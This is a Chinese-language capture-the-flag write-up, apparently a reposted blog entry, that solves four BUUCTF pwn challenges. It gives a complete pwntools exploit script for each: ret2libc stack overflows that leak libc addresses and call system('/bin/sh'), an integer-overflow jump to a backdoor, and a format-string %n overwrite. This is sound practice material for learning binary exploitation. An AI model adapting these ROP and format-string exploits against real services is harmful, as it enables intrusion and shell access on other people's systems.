buuctf pwn (21~24)

铁人三项(第五赛区)_2018_rop

32位elf文件,看一下逻辑
在这里插入图片描述
在这里插入图片描述
栈溢出,没有system函数,没有/bin/sh字符串
再看一下保护
在这里插入图片描述
那估计就是retlibc题了,脚本如下:

from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",29721)
elf=ELF("./pwn21")
ret=0x08048199
main=0x80484C6

read_got=elf.got['read']
write_plt=elf.plt['write']

payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))
print(hex(read_addr))

libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload=b'a'*(0x88+4)+p32(system)+p32(0)+p32(bin_sh)
p.sendline(payload)

p.interactive()

在这里插入图片描述

bjdctf_2020_babyrop

64位elf文件,看一下程序逻辑
在这里插入图片描述
在这里插入图片描述栈溢出,没有system函数和/bin/sh字符串
再看一眼保护
在这里插入图片描述
那应该就是retlibc64位题了
脚本如下:

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",29360)

elf=ELF("./pwn22")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
main=0x4006AD
pop=0x0000000000400733 #pop rdi ret
ret=0x00000000004004c9


p.recvuntil("Pull up your sword and tell me u story!\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(read_got)+p64(puts_plt)+p64(main)
p.sendline(payload)

read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base


p.recvuntil("Pull up your sword and tell me u story!\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(bin_sh)+p64(ret)+p64(system)
p.sendline(payload)

p.interactive()

在这里插入图片描述
如果出现超时的情况,就换一下libc版本,多试几次就能找到

bjdctf_2020_babystack2

64位elf文件,看一下程序逻辑
在这里插入图片描述
分析之后,发现这个if判断不让我们输入的数大于10,那这直接用整数溢出
之前写过相关的,看一下,在这个文章的下面

给了后门函数:
在这里插入图片描述

脚本如下:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",28233)
sys=0x400726
p.recvuntil("[+]Please input the length of your name:\n")
p.sendline(str('-1'))
payload=b'a'*(0x10+8)+p64(sys)
p.sendline(payload)
p.interactive()

在这里插入图片描述

jarvisoj_fm

32位elf文件,再看一下程序逻辑
在这里插入图片描述
在这里插入图片描述
这个是格式化字符串漏洞,通过这个漏洞,可以把x覆盖为4
这个可以用这个fmtstr_payload,也可以不用,首先先看一下偏移
在这里插入图片描述
数一下,偏移是11
不用fmtstr_payload脚本如下:

from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
#p=process("./pwn24")
p=remote("node4.buuoj.cn",26446)
payload=p32(0x804A02C)+b'%11$n'
p.sendline(payload)
p.interactive()

在这里插入图片描述
用的话脚本如下:

from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
#p=process("./pwn24")
p=remote("node4.buuoj.cn",26446)
payload=fmtstr_payload(11,{
    
    0x0804A02C:4})
p.sendline(payload)
p.interactive()

都能打通

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/128444538